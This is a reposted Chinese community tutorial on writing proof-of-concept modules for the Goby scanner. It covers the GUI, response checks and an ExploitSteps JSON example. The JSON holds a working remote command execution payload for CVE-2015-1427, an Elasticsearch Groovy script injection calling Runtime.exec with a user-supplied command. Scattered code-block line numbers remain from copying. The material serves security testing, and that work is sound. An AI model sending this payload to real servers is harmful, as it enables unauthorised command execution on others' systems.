
前言: Goby已经上了某榜(滑稽)的top10了,足以证明Goby的实用性,众所周知Goby还分为内测版、超级内测版、红队专版等等,其中最强大的莫过于红队专版,但红队版的获取是严格限制的,当然也是有获取方法,这里分享如何通过编写 PoC 获取红队专版。
0x001 准备环境
Goby为PoC编写提交测试方便发布了…姑且叫PoC版。PoC版主要功能为登录后,可以在线提交 PoC,无需再提交到邮箱。

然后还有两个连接,一个是《Goby漏洞编写指南》:
https://github.com/gobysec/Goby/wiki/Vulnerability-writing-guide
还有《Goby已录漏洞列表》防止PoC撞车:
https://shimo.im/sheets/hcoIpikMzpsVKgaC/aojnO/
0x002 第一个 Goby 的 PoC
2.1 简单的 PoC 制作
实际上主要用到的功能在这里:



上图就能看到自定义PoC的界面样子了,具体填写的信息和填写标准参考上述的《Goby漏洞编写指南》,里边有命名规则等详细解释和参考,然后就是Requests的Response处理,Goby提供了“测试”功能可直接通过图形化界面自定义自己的Requests。

这里以CVE-2015-1427为例,再完整的RCE中一共需要发送两次Requests。


然后Goby的PoC编辑界面提供了可选的单个或多个Requests,也提供了AND和OR可选的发包逻辑,方便发送多个Requests的自定义

之后的“响应测试”可对Response进行判断可选有返回状态码,Header和Body,大家按照自己需求点一点即可。

CVE-2015-1427需要两个Requests,再来一个即可,这里需要一个RCE返回结果的判断,对于轮子达人来说点一点就好制作很方便。

到这里两次Requests好了,最终的RCE判断也好了剩下就是测试PoC可用性了,上图所示右上角提供了“单ip扫描”直接测试。

在资产扫描完成的界面,输入query点击放大镜可以进行资产匹配,用来确定自己写的query可以正确匹配。

但是仅有一个存在漏洞和不存在漏洞的结果提示,这个查询界面并没有显示Response,所有如果怀疑自己的PoC有问题还需要自己抓包去看,而且多次Requests时仅显示第一个Requests(所以建议该功能有待完善),我再测试PoC时无奈一直在Wireshark抓包看的,比较麻烦。
再去扫描中测试一番,这里每次对PoC进行修改之后都需要重启Goby(点左下角的重启也行)。

2.2 不太简单的PoC中的Exp

"ExpParams": [ {
"name": "cmd", "type": "input", "value": "whoami" } ]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
不解释上述json了直接感受一下效果:

现在为止GUI中已经开启Exp了,但实际还没有“验证”功能,需要再回到“编辑器”中编写“验证功能”,找到json中的ExploitSteps默认值为null,继续以CVE-2015-1427为例需要两次Requests修改为:
"ExploitSteps": [ "AND", {
"Request": {
"method": "POST", "uri": "/website/blog/", "follow_redirect": true, "header": {
"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Accept-Language": "en", "Content-Type": "application/x-www-form-urlencoded" }, "data_type": "text", "data": "{ \"name\": \"cve-2015-1427\" }" }, "ResponseTest": {
"type": "group", "operation": "AND", "checks": [ {
"type": "item", "variable": "$code", "operation": "==", "value": "201", "bz": "" } ] }, "SetVariable": [ "output|lastbody" ] }, {
"Request": {
"method": "POST", "uri": "/_search?pretty", "follow_redirect": true, "header": {
"Accept-Encoding": "gzip, deflate", "Accept": "*/*", "Connection": "close", "Accept-Language": "en", "Content-Type": "application/text" }, "data_type": "text", "data": "{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{
{
{cmd}}}\\\").getText()\"}}}" }, "ResponseTest": {
"type": "group", "operation": "AND", "checks": [ {
"type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, {
"type": "item", "variable": "$body", "operation": "contains", "value": "460f7ccb583e25e09c0fe100a2c9e90d", "bz": "" } ] }, "SetVariable": [ "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]" ] } ]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
- 52
- 53
- 54
- 55
- 56
- 57
- 58
- 59
- 60
- 61
- 62
- 63
- 64
- 65
- 66
- 67
- 68
- 69
- 70
- 71
- 72
- 73
- 74
可以看到上述json中 Requests 和PoC中的ScanSteps的Requests 是一致的,就不难理解是同样的发包,只不过一个在ScanSteps一个是ExploitSteps,现在应该也就大概理解这个json的大致功能了,上边看着乱简化一下:
"ExploitSteps": [ "AND", {
"Request": {
xxxxxx}, "ResponseTest": {
xxxxxx}, "SetVariable": [xxxxxx] }, {
"Request": {
xxxxxx}, "ResponseTest": {
xxxxxx}, "SetVariable": [xxxxxx] } ]
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
"SetVariable": [ "output|lastbody" ]
- 1
- 2
- 3
看起来比较凌乱,不过SetVariable中也有过滤可用,例如regex去正则。
"SetVariable": [ "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]" ]
- 1
- 2
- 3

到这里一个带Exp的PoC就制作好了,如果你觉得PoC逻辑编写没为题但又怎么都不成功就只能反复测试反复抓包了,找你的wireshark好帮手,慢慢测慢慢排,最终完整的PoC一定出的来。
上述的PoC完整例子在:https://github.com/zhzyker/Goby-PoC
0x003 总结
如果表哥/表姐也想把自己上交给社区(Goby 介绍/扫描/口令爆破/漏洞利用/插件开发/ PoC 编写等文章均可)图片,欢迎投稿到我们公众号,超级内测版等着你们~~~
文章来自Goby社区成员:zhzyker,转载请注明出处。
下载Goby内测版,请关注公众号:Gobysec
下载Goby正式版,请访问官网:http://gobies.org
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/199532.html原文链接:https://javaforall.net
